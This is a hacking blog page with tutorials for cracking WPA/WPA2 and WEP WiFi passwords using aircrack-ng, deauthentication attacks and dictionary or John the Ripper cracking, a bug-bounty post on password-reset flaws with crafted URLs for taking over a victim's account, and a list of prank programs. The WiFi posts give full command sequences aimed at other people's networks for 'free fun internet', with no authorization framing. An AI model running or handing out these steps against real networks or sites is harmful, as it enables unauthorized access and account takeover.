.:: Dark Site ::.

Cracking WPA/WPA2 Password Protected WiFi Network

Hi all today we are going to discuss how we can crack wpa/wpa2 password protected wifi network and this time i am going to use a dictionary to do it on my next tutorial i will try to show you how even we can crack without dictionary . 
so lets talk about wpa/wpa2 protected network as in our previous tutorial(<a href="http://www.darksite.co.in/2014/05/cracking-wep-protected-wifi-network-in.html">Cracking WEP easy way</a>) you must have seen we were able to crack wep network and utilizing the same technique you can crack any wep network so people says WEP is very weak and yes its weak so to over come that another wifi encryption is introduced which is known as Wi-Fi Protected Access (WPA) and Wi-Fi Protected Access II (WPA2) now WPA is said to be more advance than wep and safer how ever as i said we can still hack it how to do it follow the below tutorial step wise. 
 
At first check your back track machine is having its wifi drive ready to know more you can see our previous tutorial. 
type ifconfig on terminal on backtrack or kali. 
<h3>same procedure applied for cracking wpa2 protected wifi network</h3> 
now start youe wlan0 interface on monitor mode which can be easily done with airmon-ng start wlan0 this command 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7_fSeTl2zZB2aOiiblfPlORHL2NVrWXbtWd1lTqzQaLZtGegENFeIp07rK0azEZW_t2mwDdElQ9RTgAh-1Y1yVfutAvdqKzMKneE2dl6IGrbI5DxIZBzeYOpfCCu82LgV-VneclWaSdon/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7_fSeTl2zZB2aOiiblfPlORHL2NVrWXbtWd1lTqzQaLZtGegENFeIp07rK0azEZW_t2mwDdElQ9RTgAh-1Y1yVfutAvdqKzMKneE2dl6IGrbI5DxIZBzeYOpfCCu82LgV-VneclWaSdon/s520/1.png" /></a></div> 
now to see the wifi data packets those are available around you using monitor interface (mon0) .simply type airodump-ng mon0.and it will display the packet available around you. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipcHxOh4Q8l5kbuXwGnG11rL3kywAr9FSkpa7FfVR5g6EY-ZBJIqqmZ8g06fQWGmF-IXnmxlTFoMnDtxYxBNcHEfoGOkpe3hTwy9VC9nk1aDFqFI-kldUiIiDcRD2S6EFRuk4Bolpkw9Ud/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipcHxOh4Q8l5kbuXwGnG11rL3kywAr9FSkpa7FfVR5g6EY-ZBJIqqmZ8g06fQWGmF-IXnmxlTFoMnDtxYxBNcHEfoGOkpe3hTwy9VC9nk1aDFqFI-kldUiIiDcRD2S6EFRuk4Bolpkw9Ud/s520/2.png" width="520" /></a></div> 
now as you can see here is a wpa protected network available around us known as hackers on channel 11.now lets hack the hackers .bring your mon0 inteface mon0 to channel 11 which can be easily done with iwconfig mon0 channel 11 
now write the data packet into a file which we will utilize for cracking later . 
command is again simple old one airodump-ng channel 11(channel number) mon0(interface) --write crackingwpa --bssid (device bssid) 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZR_8mpMnFCX1lJfomWpohhlRxVQvA9VUsseE3eCNaZp0n32IvlC6EAJYOJjG70K9i21-Yudb5OG2UXEWD47DE4e1ZBYRojcQQ_y94SXWNYUErdF66gevJXn3iz1bDrhlypvHpQz4WU1VQ/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZR_8mpMnFCX1lJfomWpohhlRxVQvA9VUsseE3eCNaZp0n32IvlC6EAJYOJjG70K9i21-Yudb5OG2UXEWD47DE4e1ZBYRojcQQ_y94SXWNYUErdF66gevJXn3iz1bDrhlypvHpQz4WU1VQ/s520/3.png" width="570" /></a></div> 
now to be able to crack the wpa we need a handshake data packet which can be generated by sending out deauth packet from your interface .now you can broadcast a deauth packet or you can disconnect a specific client and get the hand shake done. 
so we will be broadcasting the deauth packet and then stop it in-order to get the handshake done and capture the handshake, 
command to do that is aireplay-ng --deauth 0 -e hackers mon0after sending some deauth stop and re allow to get the handshake, 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5zOYwvoHiixgdoarB1ukIW-v-JDMHYiZXRt2Q4UmG5yLWsCieTU_XotSW9WJoo6r7HqJZrlLp95FKMrEMapIww03Q3IvaeuDE9L2gRb-V8rI7JmTT4d1AOID1cdVgPVXP2YaIOamy_ImY/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5zOYwvoHiixgdoarB1ukIW-v-JDMHYiZXRt2Q4UmG5yLWsCieTU_XotSW9WJoo6r7HqJZrlLp95FKMrEMapIww03Q3IvaeuDE9L2gRb-V8rI7JmTT4d1AOID1cdVgPVXP2YaIOamy_ImY/s520/4.png" width="520" /></a></div>now as soon as you stop broadcasting the deauth packet you will get a handshake done :) which will lead to make cracking possible. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRQL24s3XcHsprjun0KOc2Ltvoz81PEHVQyFELpP_ccvDK8oOtmQ2cGnDaX0IhlpY-h5a_-RdMXJelnU1vMF0rqaUkg6rqH36BiLQ7w0ccgWbLNXjcxFY2CaqzL3pRAmNp7PKA_Exn-SKb/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRQL24s3XcHsprjun0KOc2Ltvoz81PEHVQyFELpP_ccvDK8oOtmQ2cGnDaX0IhlpY-h5a_-RdMXJelnU1vMF0rqaUkg6rqH36BiLQ7w0ccgWbLNXjcxFY2CaqzL3pRAmNp7PKA_Exn-SKb/s720/5.png" width="520" /></a></div>so finally after getting the hand shake all you have to do is use aircrack to crack the password from pasword dictionary list. 
now its all depends on number of password possible list for your easy shake i am giving a password list which contain 10K very possible password list.<a href="https://raw.githubusercontent.com/discourse/discourse/master/lib/common_passwords/10k-common-passwords.txt">download best 10K password </a> save this as password.lst and save indie root folder of aircrack then simple run this command 
 
aircrack-ng -w password.lst crackingwpa-01.cap 
and yes you will be successfully able crack the password now . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitTIV_p0OgazSDXhuqTYIi1-eXrwv9rr86GeAZERyyIyERIKA6BRQKL6wseqb_lfoeHYMaejOb75Mp1mUAPgTsBwamWsyX18BmpS77xN8Wzy_9tFroqHyrE_6gkiC520VoUeCMjbDNBxnt/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitTIV_p0OgazSDXhuqTYIi1-eXrwv9rr86GeAZERyyIyERIKA6BRQKL6wseqb_lfoeHYMaejOb75Mp1mUAPgTsBwamWsyX18BmpS77xN8Wzy_9tFroqHyrE_6gkiC520VoUeCMjbDNBxnt/s620/6.png" width="520" /></a></div>yuppi you can connect to that wifi now and password is 12344321 :). 
Now if the password contains (A-Z,a-z,0-9,*#$% symbol in other word complex enough )then you need to have strong password list . 
also you can do the cracking using john the ripper which might take take 1-2 day or even more but you have to be more patient there.go to terminal and type this to crack using john ripper 
./john –stdout –incremental:all | aircrack-ng -b 00:11:22:33:44:55 -w – /root/crackingwpa-01.cap 
 
next time i will posting about how we can carck wpa/wap2 without using dictionary thanks keep visiting :).

Cracking WPA/WPA2 Password Protected WiFi Network

Hi all today we are going to discuss how we can crack wpa/wpa2 password protected wifi network and this time i am going to use a dictionary ...

Cracking WEP Protected WIFI Network In Easy Way

Hi all After a long day back to another exciting post so this time we are going to learn how to crack wep protected wifi network . 
WEP Protected wifi network are not very strong in nature it can be easily be broken by any guy who has good idea on wifi things,so lets go directly into the tutorial it self i am not going to make you boar with old theory. 
 
first of all we need a back track machine you can easily make it live boot using pendrive,DVD after entering into the backtrack /kali terminal look for your network card status if it is up and running you can easily know by typing ifconfig on terminal. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTpSHEVAlPsSboANqiLK3PP6Rh00rXXVKjcRlQVpeeCMk0kvZjnbiixhHMhxG1phTDNlN_CmOXtCkBTURxtL2hh_7KmshKCI9wUo2a444_6CSm6MJsUnOAfjrJ881wRq_utMnHuXw7bpRd/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTpSHEVAlPsSboANqiLK3PP6Rh00rXXVKjcRlQVpeeCMk0kvZjnbiixhHMhxG1phTDNlN_CmOXtCkBTURxtL2hh_7KmshKCI9wUo2a444_6CSm6MJsUnOAfjrJ881wRq_utMnHuXw7bpRd/s650/1.png" width="550" /></a></div>Now make you laptop device wireless n/w that is wlan0 in monitor mode (this mode enable you to see/capture the data packet that are floating on air ) 
Command to do that is : airmon-ng start wlan0 this will create mon0 interface for monitor mode 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzbwPXPoIajNJsE9HQ4u4XlLfTdeq6gRcqPSbgcb3bdcaovlEnBJfpX5TTkQ6y3o08sdtbtd91D38lvOEt2rXIiGSiSFjUFoaORHKZCFDIKU7pccTNcR-YysgNhfWKt02MtKwhxqtHA8LV/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzbwPXPoIajNJsE9HQ4u4XlLfTdeq6gRcqPSbgcb3bdcaovlEnBJfpX5TTkQ6y3o08sdtbtd91D38lvOEt2rXIiGSiSFjUFoaORHKZCFDIKU7pccTNcR-YysgNhfWKt02MtKwhxqtHA8LV/s520/2.png" width="550" /></a></div>now to see the data packet those are available on air using mon0 interface the command is 
airodump-ng mon0 this will give you all packets those are available around you . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhomJHTbLXZHkr6QUywOaoeAtIxCcTju9dLdDbs0qVZMMRGgQt4ONytDM95FZ7JLRck6AQhi5NU0O2hvkI4IZYrWVfNHSgHPZI7ahWhWKR20a-jh4TVlUw1Lp3I5h_lB23-mV9KsqIw5e9C/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhomJHTbLXZHkr6QUywOaoeAtIxCcTju9dLdDbs0qVZMMRGgQt4ONytDM95FZ7JLRck6AQhi5NU0O2hvkI4IZYrWVfNHSgHPZI7ahWhWKR20a-jh4TVlUw1Lp3I5h_lB23-mV9KsqIw5e9C/s420/3.png" width="550" /></a></div>So as we can see MGMNT is wep on channel 11 protected and we want to hack it/ break the key so lets do it. 
you can set you mon0 on that specific channel so to do that you can use these command 
iwconfig mon0 channel 11 (this is needed as our wifi interface can do better communication over same channel ) 
next write all the packet into a file which we will utilize for cracking 
airodump-ng --channel (channel numbe here its)11 (interface)mon0 --write name(anyname) --bssid bssid(Access point you want to hack bssid). 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf6g41cvnJzlT8PNub3GmaJmvY_0FkHS4W5DJGcBVbK-WTVcRBDq1Rz8AWvUIjRDGLJokgW2un_czktaZqiP_CPI6Q3Cwo60uvUGI1GrdvVMVKENPN1iyGa0nm93O9fG3CbcYSgTb1mubp/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf6g41cvnJzlT8PNub3GmaJmvY_0FkHS4W5DJGcBVbK-WTVcRBDq1Rz8AWvUIjRDGLJokgW2un_czktaZqiP_CPI6Q3Cwo60uvUGI1GrdvVMVKENPN1iyGa0nm93O9fG3CbcYSgTb1mubp/s420/4.png" width="550" /></a></div>After that is done you have to populate data packet from that Access point which can be done using arpreplay 
command will be aireplay-ng --arpreplay -e MGMNT mon0 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivuT17VFIDAhIE66t1x3U7owRKmi5RLTROExE8Yhx5M1YRQG5xt4gXxtlyX4GASx1jvwVWWEEQNOfDRiF2xDqkCLQsqccA6UorV1rt8rfYiqqiuSDAWThh1AXRLf1XoHrX84IXNu6DfRxk/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivuT17VFIDAhIE66t1x3U7owRKmi5RLTROExE8Yhx5M1YRQG5xt4gXxtlyX4GASx1jvwVWWEEQNOfDRiF2xDqkCLQsqccA6UorV1rt8rfYiqqiuSDAWThh1AXRLf1XoHrX84IXNu6DfRxk/s420/6.png" width="550" /></a></div>now next point how do we get arp pakcet to do the replay action that can easily be done using an deauth packet or showing a fake connection (if no devices are connected to that access point) 
Deauth (open a new terminal type ) arpreplay-ng --deauth 0 -e MGMNT mon0 
other wise you can show fake auth (if no devices are connected to access point ) 
arpreplay-ng --fakeauth 0 -e MGMNT mon0 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwoBy3xkLHeVZ2DIzkk934c_gfElM3bD0EBUEjLgSyaRJDre77_7Vco0mqzA8e8Ee5ataxL0ZPutfgaYsHtNvBMA07JfYHp3GXfbwhBuXUKPjXXpHF3gYKo5QaiTNZZw_IAbVDBH850cXi/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwoBy3xkLHeVZ2DIzkk934c_gfElM3bD0EBUEjLgSyaRJDre77_7Vco0mqzA8e8Ee5ataxL0ZPutfgaYsHtNvBMA07JfYHp3GXfbwhBuXUKPjXXpHF3gYKo5QaiTNZZw_IAbVDBH850cXi/s420/5.png" width="550" /></a></div>once any client connect to access point MGMNT your arp replay will start showing you action by pumping numerous data packet . 
so finally after collecting more that 22K data packet that is enough to crack any wep encryption (coz of weak IV if you wann know technical details you can as me mail or chat) ..using aircrack again the command is simple 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXYNsXY5-oblHrAHf2757AFaCLtuduxDQ6BIia3ypqvlP_rPFFFntsao5xjPMB9McXa-LQYFRW4R7BurTLxVN2tN68nm3CurYme6P6J5sZCbJMzxNTE2Utk2-xLRFGLxC6rYT5wvdDW-ka/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXYNsXY5-oblHrAHf2757AFaCLtuduxDQ6BIia3ypqvlP_rPFFFntsao5xjPMB9McXa-LQYFRW4R7BurTLxVN2tN68nm3CurYme6P6J5sZCbJMzxNTE2Utk2-xLRFGLxC6rYT5wvdDW-ka/s420/7.png" width="550" /></a></div>aircrack-ng filename-01.cap 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO7T6_71tWLuSGUH2g8Y5KA8eVsXNiDee4IilrI4NJX0xoAz9BfPNvO_PC31xxiNXS8X1GEwJUweY9Y2uSzY515KVSxau0SqsrSvnaUZVzi-LryhuJZdIC_7bEuZvA5_OpJXK5uo5Zi9hL/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO7T6_71tWLuSGUH2g8Y5KA8eVsXNiDee4IilrI4NJX0xoAz9BfPNvO_PC31xxiNXS8X1GEwJUweY9Y2uSzY515KVSxau0SqsrSvnaUZVzi-LryhuJZdIC_7bEuZvA5_OpJXK5uo5Zi9hL/s620/8.png" width="550" /></a></div>that will display your cracked key which you can use later to connect to that access point and then have free fun internet :). 
do comments your query if you stuck any where we are happy to help you and thanks

Cracking WEP Protected WIFI Network In Easy Way

Hi all After a long day back to another exciting post so this time we are going to learn how to crack wep protected wifi network . WEP Prot...

Password Reset Vulnerability For Bug Hunters

Hi All after a long time i decided to post something on bug bounty as many people are getting much interested into it . 
so we are going to make a small discuss on how this Password Reset vulnerability may lead you to earn $$$ :) .All these methods are founded on many sites also good tricks that you can try during your bug bounty . 
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJlFar3ft1Pt_aIbsGD3Q9ddSdsWmsp6qhmkiqX_kynBh9d8Pa_wNhf5crw57dRzRs7f6bkG6OdzEzZpE8S5J9iluIqTxLwUCIuEbOBa1mA4FlOGXYcSqFiTxxreNLb3AlAEJpGoNKcw4j/s1600/Bug-bounty-vulnerability-disclosure.jpg"> 
<img height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJlFar3ft1Pt_aIbsGD3Q9ddSdsWmsp6qhmkiqX_kynBh9d8Pa_wNhf5crw57dRzRs7f6bkG6OdzEzZpE8S5J9iluIqTxLwUCIuEbOBa1mA4FlOGXYcSqFiTxxreNLb3AlAEJpGoNKcw4j/s900/Bug-bounty-vulnerability-disclosure.jpg" width="420" /> 
</a> 
Password Reset Vulnerability For Bug Hunters 
</div>Most of the site where there is a sign-in button then there must be an option for forgot password as of course human can forgot password :P. 
 
as you click on forgot password button you will be asked for registered email id to which a link will be sent for password reset. 
here you can try the normal XSS,CSRF...etc attack so i won't be discussing that i will talk about something different . 
 
so when you submit the request (Email id + cpacha may be) then you will get a mail containing a url like click here to reset/change password. 
 
there are multiple kinda of url you may get i will discuss few of them. 
 
Case 1: Vulnerability on url with a token email id or username 
 
https://site.com/members/resetpassword/username=xyz&emailid=abc@def@pqr.com&token=xsdf.234sdfdssd323 
 
So here you can see the user name and email id are in the url itself in some case you will get username/email id both encrypted. 
there you can try get the encoding (mostly it will be either base 64 or md5 ).then you can try replace the email id and username with your desired email id/username (encrypted/ un-encrypted )if that work then congo!! you have your bounty on your pocket as some time server accept the dynamic created token and check for the registed email id-user name at database end and says enter new password which ended up giving you $$$ . 
 
but some time your luck not that good and design of application is strong enough to check for dynamic token with mapped user. 
 
Case 2: Vulnerability in reference 
 
https://site.com/members/resetpassword/username=xyz&emailid=abc@def@pqr.com&token=xsdf.234sdfdssd323 
 
This is quite interesting when ever you clicked on link like this and intercept the request on your browser (burpsuite or any proxy tool) you will see some thing like this 
 
GET /xyz HTTP/1.1 
Host: abcd.com 
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: pl,en-us;q=0.7,en;q=0.3 
Accept-Encoding: gzip, deflate 
Referer: https://site.com/users/password/edit?reset_password_token=HERE_IS_THE_VALUE_OF_RESET_PASSWORD_TOKEN 
Connection: keep-alive 
 
Then you can say report this as a security issue as an minimum information disclosure. 
 
n few cases you will find 
 
Referer: https://site.com/users/password/edit?mail=admin@abc.com&password=token&action=reset 
 
that some email id or admin or superuser name/ email id there also you can say it to security issue and get $$$ on your pocket. 
 
Case 3: Poor Encryption Breaking (Thanks To Ajay Sing Negi For sharing this) 
 
If you get a link like this 
 
https://site.com/members/setup-password/14aaef7bb41ed6e4b46d09298ec1bfc6a483623d/ 
 
After clicking on this type of link you will get into a page where email filed with attacker@gmail.com email id and the 2 blank field to change the password. 
 
Now while submitting request you can easily change the email id to victim mail id (can use proxy tool like burp suite )and change the password so if the validation is not there and if you have luck then you will end up resetting any victim password on that website and get a good bounty out of it. 
 
Case 4: Analyzing password Reset Vulnerability 
 
(again a good finding by Ajay singh negi) 
 
So what if you get a link like this. 
 
Attackers Email ID: attackeremailid@gmail.com and his password reset link: 
 
http://testsite.com/reset-password/74o4s384549484c4k4v506t4d5a3e5n5k444j4g5j4o4c553l454h464m474/74q55426l4q5u5m5c4s5l5m5n5t2102fadb4bd021805624f06ea4c8e4d38 
 
Here as you can guess there are some md5 encryption is there. on quick analyzing you can see 1st part in the password reset Url before '/' is password reset token and the second part is the md5 hash of the users email id in which the 1st 28 values (74q55426l4q5u5m5c4s5l5m5n5t2) are same for each users email ids and the remaining last values were different for each users email id as they were the users email id md5 hash value. So, the attacker can decrypt the email hash values easily using the online available md5 encrypters and decrypters like: http://md5decryption.com also sometimes some websites use base 64 encoding(or other encodings) which can also be easily decrypted using the online available base64 encoders and decoders like: http://ostermiller.org/calc/encode.html. 
 
 
Attackers Email ID: attackeremailid@gmail.com md5 hash value: 
102fadb4bd021805624f06ea4c8e4d38 
 
 
Victims Email ID: victimemailid@gmail.com md5 hash value: 
05ebb8fb6ec39f50d33e19cd5719084d 
 
 
1st 28 values which is same for each users email id hash: 
74q55426l4q5u5m5c4s5l5m5n5t2 
 
 
Crafted Url to Reset the password of the Victims Email ID(i.e account)victimemailid@gmail.com: 
 
http://testsite.com/reset- 
password/74o4s384549484c4k4v506t4d5a3e5n5k444j4g5j4o4c553l454h464m474/74q55426l4q5u5m5c4s5l5m5n5t205ebb8fb6ec39f50d33e19cd5719084d 
 
So in this way the attacker can Takeover on any users account.So if you find these kind of issue then you have money $$$ on your bank. 
 
So these are some common wayz of detecting Vulnerability that is typically found on password reset function. 
Also DO look out for click-jacking,CSRf,URL Redirection after password reset...etc IN password reset (even look out for log in / log out / automatically logged in after clicking the password recovery link also have a good impact ) to built the exploit scenario better and get more $$ Hope you like this please do leave a comment if you want some post like this which will help you in finding Bug-Bounty.

Password Reset Vulnerability For Bug Hunters

Hi All after a long time i decided to post something on bug bounty as many people are getting much interested into it . so we are going to ...

Computer Fake Viruses to Play Pranks On April Fool Day On Friends Pc

Hi all in India we do play lots of pranks with our friends on 1st that is popularly known as April fool day :D. 
Also its Special In Odisha As people celebrate this day as "Utkala Divas" (ଓଡ଼ିଶା ଦିବସ or Odisha Day). 
So Here are some top application that you can play pranks on friends Pc specially i tried with girls pc they will scare the hell out of you :D. 
 
<a class="center" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqeEp0Ao15VTEdk6rQnjBejL4_UUycmjeunDmohFymDiKOkDlVsU0cSQKKaV1HaWeIgvtezjaplwEgg4aixg60n9xx234trIEdqH8Lep6Plr7yb96-6GkQWex22YHsFcviOFbYdoDeiyAc/s320/troian-virus-worm.jpg"> 
<img alt="Funny Virus on April fool day" height="299" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqeEp0Ao15VTEdk6rQnjBejL4_UUycmjeunDmohFymDiKOkDlVsU0cSQKKaV1HaWeIgvtezjaplwEgg4aixg60n9xx234trIEdqH8Lep6Plr7yb96-6GkQWex22YHsFcviOFbYdoDeiyAc/s720/troian-virus-worm.jpg" width="670" /> 
</a> 
 
1. Add / Remove - Add/Remove is a cool prank that makes it appear that all of your software on your computer is being removed using the Windows Add/Remove Program feature. This is so real, that it will shock the most of the experienced user. 
<a href="http://www.rjlpranks.com/download.cfm?d=2">Download here </a> 
2.2. Avoid – It makes your Windows Start button avoid any mouse clicks. Just launch this program exe and watch as your Start button jumps away from your mouse cursor whenever you try to click on it. 
<a href="http://www.rjlpranks.com/pranks/avoid/">Download Here</a> 
3. Bomb – It will run the program you want to run, then after a delay for 5 second, it will display the BOMB message. This will simulate that the program you just ran is bombed. 
<a href="http://www.rjlsoftware.com/software/entertainment/bomb/download.shtml">Download Bomb</a> 
4. Click Me – It will display a button on which you can never click with your mouse. 
<a href="http://www.rjlsoftware.com/software/entertainment/clickme/download.shtml">Download Click Me</a> 
5. ClickStart – ClickStart is one of the cool Windows prank program which hides itself in the background and after every 45 seconds it will click on the start button causing the start menu to open. Users will be surprised when their start menu pops up, they will have no idea what is going on. 
<a href="http://www.rjlsoftware.com/software/entertainment/clickstart/download.shtml">Download ClickStart</a> 
6. Clippy – It is a simulated office assistant that, when ran, will hide in the background for 1 minute then popup in the lower right hand corner of the screen and say something useless. 
<a href="http://www.rjlsoftware.com/software/entertainment/clippy/download.shtml">Download Clippy</a> 
7. Copy Cursor – It replicates the current Windows mouse cursor over-and-over again on the screen. This is VERY annoying which makes it a great prank! 
<a href="http://www.rjlsoftware.com/software/entertainment/copycursor/download.shtml">Download Copy Cursor</a> 
8. Crazy Num Caps Scroll – It will toggle the Num Lock, Caps Lock, or Scroll Lock keys at user defined intervals which makes the working of any user very annoying experience. 
<a href="http://www.rjlsoftware.com/software/entertainment/crazy_ncs/download.shtml">Download Crazy Num Caps Scroll</a> 
9. Create Message Pro – It allows you to configure and create stand alone .EXE files for distribution across your network or the Internet. It adds the ability to specify the message text, buttons to appear on the message, and the type of message icon that appears. 
<a href="http://www.rjlsoftware.com/software/utility/createmsg/download.shtml">Download Create Message Pro</a> 
10. Cursor Fun – It will change the current mouse cursor to a user specified cursor. It allows you to choose which Windows cursor to change, what type of cursor to change it to. 
<a href="http://www.rjlsoftware.com/software/entertainment/cursorfun/download.shtml">Download Cursor Fun</a> 
11. Dirty Mouse – It is a windows prank that simulates the mouse ball is dirty. How many times have you tried to move your mouse and it does not move. 
<a href="http://www.rjlsoftware.com/software/entertainment/dirty/download.shtml">Download Dirty Mouse</a> 
12. DownHoax – This is a great prank makes it appear as though an “unwanted” file is being downloaded from the Internet. DownHoax randomly chooses a site from its internal database of “undesirables” and proceeds to simulate downloading an equally distasteful file. 
<a href="http://www.rjlsoftware.com/software/entertainment/downhoax/download.shtml">Download DownHoax</a> 
13. Email Fun – When executed, Email Fun displays a fake email screen complete with the To:, From:, Subject: and message contents. Then it immediately pretends to automatically type an email to everyone that is in your address book. 
<a href="http://www.rjlsoftware.com/software/entertainment/email/download.shtml">Download Email Fun</a> 
14. Fake Delete – Fake Delete simulates the deletion of all files/folders in the Windows directory or whichever directory is passed via the command line. Fake Delete uses the standard Windows delete dialog so it appears very realistic, and it cannot be disabled or stopped. 
<a href="http://www.rjlsoftware.com/software/entertainment/fakedel/download.shtml">Download Fake Delete</a> 
15. Fake Format – Fake Format mirrors the Windows “Format” functionality. Once the program is started, no matter which buttons are chosen, the program simulates formatting the specified drive. 
<a href="http://www.rjlsoftware.com/software/entertainment/fakefmt/download.shtml">Download Fake Format</a> 
16. Fake Shutdown – This prank program simulates what would occur when a user chooses to shut down Windows. Each screen was cautiously created to mirror the look of the actual Windows shutdown sequence. 
<a href="http://www.rjlsoftware.com/software/entertainment/fakeshutdown/download.shtml">Download Fake Shutdown</a> 
17. Fake Start Menu – This program will replace the existing Windows 95 Start Menu (task bar). It will respond to nothing from the user. 
<a href="http://www.rjlsoftware.com/software/entertainment/fakestart/download.shtml">Download Fake Start Menu</a> 
18. Flasher – Flasher is a hidden prank program that allows you to flash any image to the computer screen, almost like a subliminal message. 
<a href="http://www.rjlsoftware.com/software/entertainment/flasher/download.shtml">Download Flasher</a> 
19. Flip It – It will display a fake Windows message that appears to have flipped upside-down. Clicking on the YES button will slowly make each piece of text rotate 180 degrees until you can read it again. 
<a href="http://www.rjlsoftware.com/software/entertainment/flipit/download.shtml">Download Flip It</a> 
20. Floppy Madness – Floppy Madness is a small prank program that will try and access the floppy drive at user specified intervals. If this does not seem fun, just download it and see. 
<a href="http://www.rjlsoftware.com/software/entertainment/floppy/download.shtml">Download Floppy Madness</a> 
21. Follow Me – When you execute this program, it will automatically hide in Windows and wait for your mouse cursor to move. Once your cursor moves, it automatically moves your Start Button to the same position, horizontally, on the Windows Task Bar. 
<a href="http://www.rjlsoftware.com/software/entertainment/followme/download.shtml">Download Follow Me</a> 
22. Gas Gripe – This program will lead you through a series of price comparisons with other liquid products. With the help of a very clean interface, Gas Gripe will have you laughing in your chair as you watch the price per gallon go up with other products 
<a href="http://www.rjlsoftware.com/software/entertainment/gas/download.shtml">Download Gas Gripe</a> 
23. HeadAche – A program that would instantly give you a headache, download and run to know how it produce a headache. 
<a href="http://www.rjlsoftware.com/software/entertainment/headache/download.shtml">Download HeadAche</a> 
24. Message Manager Lite – Message Manager it will allow you to setup a message dialog to be displayed upon a network login. You can specify the text to be displayed, the image, the buttons (up to 9), and when to display the message. 
<a href="http://www.rjlsoftware.com/software/utility/message/download.shtml">Download Massage Manager</a> 
25. Mouse Droppings – Watch as your mouse drops little black turds all over your screen, randomly. This is a great joke to play on an unsuspecting co-worker, you can even email this prank to a friend. 
<a href="http://www.rjlsoftware.com/software/entertainment/droppings/download.shtml">Download Mouse Droppings</a> 
26. Mouse Move – Mouse Move is a a program that can run hidden to move the users mouse cursor to random positions on the screen. 
<a href="http://www.rjlsoftware.com/software/entertainment/mousemove/download.shtml">Download Mouse Move</a> 
27. MouseClicks – MouseClicks is a harmless gag program that allows you to disable the left, right or both mouse clicks every x seconds. 
<a href="http://www.rjlsoftware.com/software/entertainment/mouseclicks/download.shtml">Download MouseClicks</a> 
28. Password Prank – This program displays a fake, but very realistic, password box to the user. No matter what key the user presses, it starts typing in its own password. Once the password is entered an error message is displayed to the user telling them their password is not long enough. 
<a href="http://www.rjlsoftware.com/software/entertainment/password/download.shtml">Download Password Prank</a> 
29. Pirated Software – Pirated Software is a prank that emulates the standard software installation or setup. However, the installation walks you through the steps of installing illegal software. 
<a href="http://www.rjlsoftware.com/software/entertainment/pirate/download.shtml">Download Pirated Software</a> 
30. Popup Prank – Popup Prank is a gag software program that allows you to simulate these online popup advertisements. 
